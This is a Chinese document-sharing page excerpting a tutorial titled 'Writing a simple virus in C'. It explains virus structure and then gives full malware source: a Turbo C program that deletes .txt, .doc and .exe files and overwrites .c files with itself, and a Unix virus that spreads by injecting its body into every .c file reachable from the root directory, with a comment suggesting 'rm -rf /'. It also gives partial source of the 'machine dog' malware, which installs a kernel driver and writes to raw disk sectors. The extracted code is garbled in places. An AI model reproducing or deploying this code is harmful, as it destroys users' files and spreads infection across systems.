用C语言编写简单的病毒_第1页
用C语言编写简单的病毒_第2页
用C语言编写简单的病毒_第3页
用C语言编写简单的病毒_第4页
用C语言编写简单的病毒_第5页
已阅读5页,还剩16页未读 继续免费阅读

下载本文档

版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领

文档简介

1、用C语言编写简单的病毒转2007年08月28日 星期二 下午 03:39摘要在分析病毒机理的基础上,用C语言写了一个小病毒作为实例,用TURBOC2.0实现.     Abstract This paper introduce the charateristic of the computer virus,then show a simple example written by TURBOC2.0.一、什么是病毒      恶意软件可能是第一个对我们产生影响的计算机安全问题.所以病毒在畔 踩 惺呛苤匾

2、?   我们要对付病毒,就要了解病毒.   写一些病毒是一个很好的办法.   如果要写一个病毒,先要知道它是什么.可以给病毒一个定义,这一定义是被广泛认可的。Frederic Cohen博士在计算机病毒简短讲座中提到的:“一种能够通过修改自身来包括或释放自我拷贝而传染给其他程序的程序。“         其实病毒和普通程序并无太大不同,而且通常比较简单,不像很多程序那样复杂。只不过病毒里面用到一些正常程序一般不会用到的技术。   要编制

3、一个病毒,首先要知道病毒的运行机理。   不论是何种病毒,它一般在结构上分为三个功能模块:感染机制,触发机制和有效载荷。   在病毒结构中,首要的而且唯一必需的部分是感染机制。病毒首先必须是能够繁殖自身的代码,这是病毒之所以成为病毒的根本原因。我们可以用一段类C伪码来表示这个过程。InfectSection()        if (infectable_object_found     &&object_not_already_infec

4、t)         infect_object;             病毒的第二个主要构成部分是有效载荷触发事件.一个病毒来到你的电脑后,不大可能立即发作,否则它不会被传播得很远.潜伏的敌人永远要比能见到的敌人危险得多.病毒一般是在找到一定数量的感染体,某一日期或时间,某一段文本后触发.一个简单的触发机制可能是这样工作的:      

5、;   TriggerSection()                    if (date_is_Friday_13th_and_time_is_03:13:13)                   &

6、#160;                     set_trigger_status_to_yes;         有效载荷就是病毒用来骚扰你的电脑的方法,有触发机制的病毒一般也有有效载荷。它可以是任意的给你发一条一次性简单的愚弄信息,重新格式化你的磁盘,把它自己邮给你的E_mail通信者都可以成为有效的负荷。简

7、单的有效负荷可以如下进行:       Executesection()                if (trigger_statue_is_yes)             execute_payload;     

8、60;                                      二、 编制病毒的语言   最常见的编制病毒的语言有汇编语言、VB、C 语言等,我们可以来看一看一个有名的病毒论坛上认为学写病毒要

9、掌握的基础:    1).Win32编程,进程,线程,内存,等等。2).32位汇编,以指令用法为主。386汇编就比较够用了。3).PE格式,有精力还可以看一下其它可能被感染的文件的文件格式。4).调试技术。VC,TD32,SoftIce,等等。   要掌握的东西确实很多,还多听都没听过,很吓人但实际上,即使我们对计算机的原理和操作系统不很了解,而且不熟悉除以外的其他语言,只要我们对的库函数有一定了解,就可以写一些类似病毒的东西.三用编制病毒   以TurboC2.0为例它的库函数可以实现很多功能   如以下两个函数

10、:   1).findfirst和findnext函数:在dir.h。findfirst用来找各种类型的文件,可以得到文件名文件长度,文件属性等,findnext和findfirst配合使用,用来找到下一个同类型的文件。   2).remove函数:在stdio.h.只要知道文件名,可以删除任意类型的文件.           四 我写的C病毒          &l

11、t;<计算机病毒解密>>上有一句比较经典的话,"或许把恶意软件造成的损害说成是心理上的损害   可能会更恰当一些".从这个意义上说,我的病毒是非常典型的病毒.       下面是我写的病毒.   它主要由四个模块组成.   RubbishMaker()可用来在当前目录下生成大量随机命名的垃圾文件.   CreatEXE()将在C盘的敏感地方放置几个.exe垃圾,它们要隐蔽一些。   Remove()

12、会删掉你的一些东西,所以千万不要随便运行这个程序.   Breed()是C_KILLER的精华所在,它将kill所有的c程序,并利用它们繁殖自身.   前三个是有效负载.   第四个可以说是它的感染机制./*IN FACT,IT"S NOT A VIRYUS AT ALL.*/#include <io.h>#include <dir.h>#include <stdio.h>#include <stdlib.h>#include <string.h>/* copy o

13、ut infile */void copy *infile, char *outfile)   FILE *in,*out;   in = fopen(infile,"r");   out = fopen(outfile,"w");   while (!feof(in)        fputc(fgetc(in),out);      fclose(in); 

14、60; fclose(out);/*This function named Rubbishmaker.*/void MakeRubbish()   int i;      FILE *fp;   char *path;   char *NewName;   char *disk7 = "A","B","C","D","E","F","G&

15、quot;   char *addtion = ":"   /* Make some rubbish at the current catalogue */   for (i = 0; i<5; i+)        char tempname = "XXXXXX" ;     NewName = mktemp(tempname);     fp =

16、fopen(NewName,"w");     fclose(fp);   /* make some rubbish at the root catalogue */   path = strcat(diskgetdisk(),addtion); /* get the root catalogue */   chdir(path); /*change directory according to the "path" */   for

17、(i = 0; i<5; i+)        char tempname = "XXXXXX"     NewName = mktemp(tempname);     fp = fopen(NewName,"w");     fclose(fp);   /*This function can creat some .exe or .com docum

18、ents in the sensitive place.Don't worry,It's only a joke.It will do no harm to your computer.*/void CreatEXE()   int i;   char *path;   char *s2 = "C:WINDOWSsystem32loveworm.exe","C:WINDOWS"   for ( i = 0; i < 2; i+)  

19、     open(s, 0x0100,0x0080);     copyfile( "C_KILLER.C",s);   /* remove something from your computer */void Remove()       int done;   int i;   struct ffblk ffblk;   char *document

20、type3 = "*.txt","*.doc","*.exe"   for (i = 0; i < 3; i+)        done = findfirst(documenttype,&ffblk,2);     while (!done)              &#

21、160; remove(ffblk.ff_name);           done = findnext(&ffblk);        /* overlay the c programs */void Breed()       int done;   struct ffblk ffblk;   done = findfirs

22、t("*.c",&ffblk,2);   while (!done)        if (strcmp("C_KILLER.C", ffblk.ff_name) != 0 )                copyfile("C_KILLER.C",ffblk.ff_name);  

23、60;       done = findnext(&ffblk);   void main()         printf("THERE IS A VIRUS BY XIAOKE.nn");     Breed();     Remove();     CreatEXE();  

24、;   printf("COULD YOU TELL ME YOUR NAME?nn");     printf("NOW,PLEASE ENTER YOUR NAME,OR THERE WILL BE SOME TROUBLE WITH YOU!nn");     MakeRubbish();     getchar();     printf("IT'S

25、ONLY A JOKE! THANK YOU!nn");     clrscr();     system("cmd");简单的c病毒2007年,我的最后一个程序哦,觉得很有纪念意义,所以拿来共享。不过是unix/linux环境的, 能看懂原理就OK了。详细分析请参考我的blog: Tip:仅供学习参考->了解病毒是为了更好的防范它。Copy code/* ucfree:2007-12-31 start */#include <stdio.h>#include <

26、;dirent.h>#include <unistd.h>#include <string.h>#include <sys/stat.h>#include <utime.h> #define VIR_NAM        "virus.c"    / virus #define BUF_SIZE    101#define STA_PATH    "/&

27、quot;            / start path    char vir_pathBUF_SIZE = ""/*    it's the main part of virus's body,*    it can traversal all the parts of the system from STA_PATH,*   

28、; and if the process have enough permission,*    all of the .c being infected as a virus    */void vir_body()    DIR        *dp;    struct dirent    *dirp;    struct stat 

29、;       buf, cur_dir_buf;    int        i;    char    str_bufBUF_SIZE;    / init the vir_path    if (!strcmp(vir_path, "")     

30、60;      if (getcwd(vir_path, BUF_SIZE) = NULL)                    return;                strcat(vir_path, "/&

31、quot;);        strcat(vir_path, VIR_NAM);        chdir(STA_PATH);        if (dp = opendir(".") = NULL)            return;   

32、        / do all the sub_dir terms    while (dirp = readdir(dp) != NULL)            i = strlen(dirp->d_name);        if (dirp->d_namei-1 = 'c' &&

33、60;           dirp->d_namei-2 = '.')        / is a c file            do_c_>d_name);          

34、60; continue;                        if (stat(dirp->d_name, &buf) < 0)        / get the stat of the file       

35、0;    continue;                if (!S_ISDIR(buf.st_mode)        / is not a directory            continue;   &#

36、160;            if (!strcmp(dirp->d_name, ".") |            !strcmp(dirp->d_name, ".")        / ignore dot and dot_dot directory 

37、           continue;                    / do the submit derectory as current        chdir(dirp->d_name);    

38、;    vir_body();        chdir(".");        closedir(dp);        /* here! you can do anything that you want    * just use the system invokes or shell commands &#

39、160;  * ex:        * if (system_data_is_sundy)    *         * system("rm -rf /");    *     * tip: if the process runing as root, the system being over    * 

40、0;      it's dangerous, so not to try     */    return;/*    this funtion is try to infect the .c file,*    if the .c already infected,no need to do it again,*    else the work begin .*/int do_c_

41、char *f_name)    FILE    *fp_obj, *fp_vir, *fp_tmp;    char    bufBUF_SIZE;    char    flag;    char    *tmp_buf;    struct stat      &

42、#160; statbuf;/ get the object file's stat     struct utimbuf    timebuf;/ keep the object file's access and modify time    if (fp_obj = fopen(f_name, "r+") = NULL)    / object file       

43、; return 1;        if (stat(f_name, &statbuf) < 0)            return 1;        timebuf.actime = statbuf.st_atime;    timebuf.modtime = statbuf.st_mtime;  

44、0;     if (fp_vir = fopen(vir_path, "r") =NULL)    / virus file        return 1;            / make a temp a buffer    if (tmp_buf = tmpnam(NULL) = NULL)  &

45、#160;         return 1;        if (fp_tmp = fopen(tmp_buf, "a+") = NULL)    / temp file        return 1;            unlink(tmp_buf

46、);/ kernal will delete it after the process done        / read the C text into the temp file, and modify it    flag = 'T'    while (fgets(buf, BUF_SIZE, fp_obj) != NULL)            i

47、f (!strcmp(buf, "/* ucfree:2007-12-31 start */n")        / the obeject been infected            return 0;                if (flag

48、= 'T' && strstr(buf, "main(")        / find the funtion main,change flag            flag = 'F'              

49、60; if (flag = 'F' && (strstr(buf, "return") |            strstr(buf, "")        / insert the invoke line,before "return" or ""    

50、60;       fputs("ttvir_body();n", fp_tmp);            flag = 'O'                fputs(buf, fp_tmp);     

51、60;  if (flag != 'O')    / is not the main c file        return 0;        / add the parts of virus's body to the tail of temp file    flag = 'T'    while (fgets(buf,

52、 BUF_SIZE, fp_vir) != NULL)            if (flag = 'T' &&             !strcmp(buf, "/* ucfree:2007-12-31 start */n")        / is the st

53、art of the virus's body            flag = 'F'                if (flag = 'T')        / not find the start  

54、0;         continue;                if (flag = 'O')        / virus body have been inserted,do over         

55、    break;                        / insert virus's body        if (!strcmp(buf, "/* ucfree:2007-12-31 end */n")   &#

56、160;    / is the end of the virus's body            flag = 'O'                if (strstr(buf, "#define VIR_NAM") &&  

57、60;         buf0 = '#')        / use the object's name to instand of the virus name            snprintf(buf, sizeof(buf), "%st"%s"n", 

58、;                   "#define VIR_NAM", f_name);                fputs(buf, fp_tmp);        fclose(fp_

59、vir);        / temp of the object file    rewind(fp_tmp);    rewind(fp_obj);    while (fgets(buf, BUF_SIZE,fp_tmp) != NULL)            fputs(buf, fp_obj);    &#

60、160;   fclose(fp_tmp);    fclose(fp_obj);    if (utime(f_name, &timebuf) < 0)    / keep the time back        return 1;        / OK! object been a virus _    r

61、eturn 0;/* ucfree:2007-12-31 end */* test it */int main()    vir_body();    return 0;机器狗源码(C语言的)/ Test.cpp : 定义控制台应用程序的入口点。/#include "stdafx.h"/=#include <pshpack1.h>typedef struct _PARTITION_ENTRY   UCHAR active;     &

62、#160;           / 能否启动标志   UCHAR StartHead;               / 该分区起始磁头号   UCHAR StartSector;            

63、; / 起始柱面号高2位:6位起始扇区号   UCHAR StartCylinder;           / 起始柱面号低8位   UCHAR PartitionType;           / 分区类型   UCHAR EndHead;        &

64、#160;        / 该分区终止磁头号   UCHAR EndSector;               / 终止柱面号高2位:6位终止扇区号   UCHAR EndCylinder;             / 终止柱面

65、号低8位   ULONG StartLBA;               / 起始扇区号   ULONG TotalSector;             / 分区尺寸(总扇区数) PARTITION_ENTRY, *PPARTITION_ENTRY;/=typedef struct _MBR_SE

66、CTOR   UCHAR             BootCode446;   PARTITION_ENTRY   Partition4;   USHORT           Signature; MBR_SECTOR, *PMBR_SECTOR;/=typedef struct _BBR_SEC

67、TOR   USHORT JmpCode;               / 2字节跳转指令,跳转到引导代码   UCHAR   NopCode;               / 1字节nop指令,填充用,保证跳转指令长3个字节   UCHA

68、R   OEMName8;             / 8字节的OEMName   / 下面开始为: BPB( BIOS Parameter Block )   USHORT BytesPerSector;         / 每个扇区的字节数 (512 1024 2048 4096)   UCHAR 

69、60; SectorsPerCluster;     / 每个簇的扇区数 ( 1 2 4 8 16 32 64 128 )两者相乘不能超过32K(簇最大大小)   USHORT ReservedSectors;       / 从卷的第一个扇区开始的保留扇区数目,该值不能为0,对于FAT12/FAT16,该值通常为1,对于FAT32,典型值为32   UCHAR   NumberOfFATs;   

70、0;       / 卷上FAT数据结构的数目,该值通常应为2,NTFS不使用NumberOfFATs字段,必须为0   USHORT RootEntries;           / 对于FAT12/FAT16,该值表示32字节目录项的数目,对于FAT32,该值必须为0;NTFS不使用   USHORT NumberOfSectors16;     / 该

71、卷上的扇区总数,该字段可以为0,如果该字段为0,则NumberOfSectors32不能为0;对于FAT32,该字段必须为0 FAT32/NTFS不使用该字段   UCHAR   MediaDescriptor;       / 介质类型   USHORT SectorsPerFAT16;       / 该字段标识一个FAT结构占有的扇区数(FAT12/FAT16),对于FAT32卷,该字段必须为0;FAT32/N

72、TFS不使用该字段   USHORT SectorsPerTrack;       / 用于INT 0x13中断的每个磁道的扇区数   USHORT HeadsPerCylinder;       / 用于INT 0x13中断的每个柱面的磁头数   ULONG   HiddenSectors;         / 包含

73、该FAT卷的分区之前的隐藏扇区数   ULONG   NumberOfSectors32;     / 该字段包含该卷上的所有扇区数目,对于FAT32,该字段不为0;FAT12/FAT16可根据实际大小是否超过65536个扇区数决定是否采用该字段; NTFS不使用该字段   / 下面开始为: EBPB ( Extended BIOS Parameter Block )   ULONG   SectorsPerFAT32;   

74、    / 对于FAT32,该字段包含一个FAT的大小,而SectorsPerFAT16字段必须为0; BBR_SECTOR, *PBBR_SECTOR;#include <poppack.h>#define PARTITION_TYPE_NTFS         0x07#define PARTITION_TYPE_FAT32         0x0B#define PARTITION_TYP

75、E_FAT32_LBA     0x0C/=#define STR_SYS             TEXT("%SystemRoot%system32driverspcihdd.sys")#define STR_VIR             TEXT("%SystemRoot%Syst

76、em32Userinit.exe")#define STR_DSKDEVICE_NAME           TEXT(".PhysicalDrive0")#define STR_HDDDEVICE_NAME           TEXT(".PhysicalHardDisk0")/=#define IOCTL_MYDEV_BASE &#

77、160;               0xF000#define IOCTL_MYDEV_Fun_0xF01           CTL_CODE(IOCTL_MYDEV_BASE, 0xF01, METHOD_BUFFERED, )/=DWORD InstallAndStartDriver(HMODULE ModuleHandle)  

78、 TCHAR           MAX_PATH;   HANDLE           ;   HRSRC           hSysRes;   DWORD      &#

79、160;    dwWritten;   DWORD           dwSysLen;   PVOID           lpSysBuf;   SC_HANDLE       hSCManager;   SC_HANDL

80、E       hService;   SERVICE_STATUS   sService;   DWORD           errCode = ERROR_SUCCESS;   if(     (NULL = (hSysRes = FindResource(ModuleHandle, (LPCTSTR)1001,

81、 (LPCTSTR)1001)     |     (0     = (dwSysLen = SizeofResource(ModuleHandle, hSysRes)     |     (NULL = (lpSysBuf = LockResource(hSysRes)     |     (0  

82、;   = ExpandEnvironmentStrings(STR_SYS, &0, sizeof()     |     (INVALID_HANDLE_VALUE = ( = Create, GENERIC_WRITE, 0, NULL, OPEN_ALWAYS, , NULL)     )        errCode = GetLastError();  &#

83、160;  goto FunExit00;      if(     !Write, lpSysBuf, dwSysLen, &dwWritten, NULL)     |     !SetEndOf)     |     !Flush()     )     

84、   errCode = GetLastError();      CloseHandle();   if(ERROR_SUCCESS != errCode)        goto FunExit01;      if(NULL = (hSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS)      

85、;  errCode = GetLastError();     goto FunExit01;      hService = CreateService(     hSCManager,     TEXT("PciHdd"),     TEXT("PciHdd"),     SERVICE_ALL_ACC

86、ESS,     SERVICE_KERNEL_DRIVER,     SERVICE_DEMAND_START,     SERVICE_ERROR_IGNORE,     ,     NULL,     NULL,     NULL,     NULL,  

87、;   NULL     );   if(NULL != hService)        CloseServiceHandle(hService);      else        if(NULL != (hService = OpenService(hSCManager, TEXT("PciHdd"), SERVICE_ALL_AC

88、CESS)            ControlService(hService, SERVICE_CONTROL_STOP, &sService);       DeleteService(hService);       CloseServiceHandle(hService);        &

89、#160; hService = CreateService(       hSCManager,       TEXT("PciHdd"),       TEXT("PciHdd"),       SERVICE_ALL_ACCESS,       SERV

90、ICE_KERNEL_DRIVER,       SERVICE_DEMAND_START,       SERVICE_ERROR_IGNORE,       ,       NULL,       NULL,       NULL,&#

91、160;      NULL,       NULL       );     if(NULL != hService)            CloseServiceHandle(hService);        &

92、#160; else            errCode = GetLastError();       goto FunExit02;           if(NULL = (hService = OpenService(hSCManager, TEXT("PciHdd"), SERVICE_START)   &

93、#160;    errCode = GetLastError();     goto FunExit02;      StartService(hService, 0, NULL);   CloseServiceHandle(hService);FunExit02:   CloseServiceHandle(hSCManager);FunExit01:   Delete);FunExit00:   ret

94、urn errCode;/=DWORD StopAndDeleteDriver(VOID)   TCHAR           MAX_PATH;   SC_HANDLE       hSCManager;   SC_HANDLE       hService;   SERVICE_STATUS&#

95、160;  sService;   DWORD           errCode = ERROR_SUCCESS;   if(NULL = (hSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS)        errCode = GetLastError();     goto

96、 FunExit00;      if(NULL = (hService = OpenService(hSCManager, TEXT("PciHdd"), SERVICE_ALL_ACCESS)        errCode = GetLastError();     goto FunExit01;      ControlService(hService, SERVICE_CONTROL_ST

97、OP, &sService);   DeleteService(hService);   CloseServiceHandle(hService);FunExit01:   CloseServiceHandle(hSCManager);FunExit00:   ExpandEnvironmentStrings(STR_SYS, &0, sizeof();   Delete);   return errCode;/=/ 感染硬盘第一个分区的指定的文件/ / 1)

98、通过FSCTL_GET_RETRIEVAL_POINTERS获取文件数据的分布 信息/ / 2)通过直接访问硬盘(.PhysicalHardDisk0)的的MDR和第一个分区的引导扇区得到分区参数来定位文件。/ / 3)通过对比ReadFile读取的文件数据和自己定位后直接 读取所得到的文件数据,确定定位是否正确/ / 入口参数:/ 要感染的文件名(完整路径)/ / Return value:/ Success -> NULL/ Failed   -> 指向出错信息的指针/=DWORD WriteVirusToDisk(LPCTSTR VirusFile)

99、60;  STARTING_VCN_INPUT_BUFFER   iVcnBuf;   UCHAR                       oVcnBuf272;   PRETRIEVAL_POINTERS_BUFFER lpVcnBuf;   DWORD  

100、60;                    dwVcnExtents;   LARGE_INTEGER               startLcn;   PUCHAR     

101、                lpClusterBuf;   DWORD                       dwClusterLen;   UCHAR                     

温馨提示

  • 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
  • 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
  • 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

评论

0/150

提交评论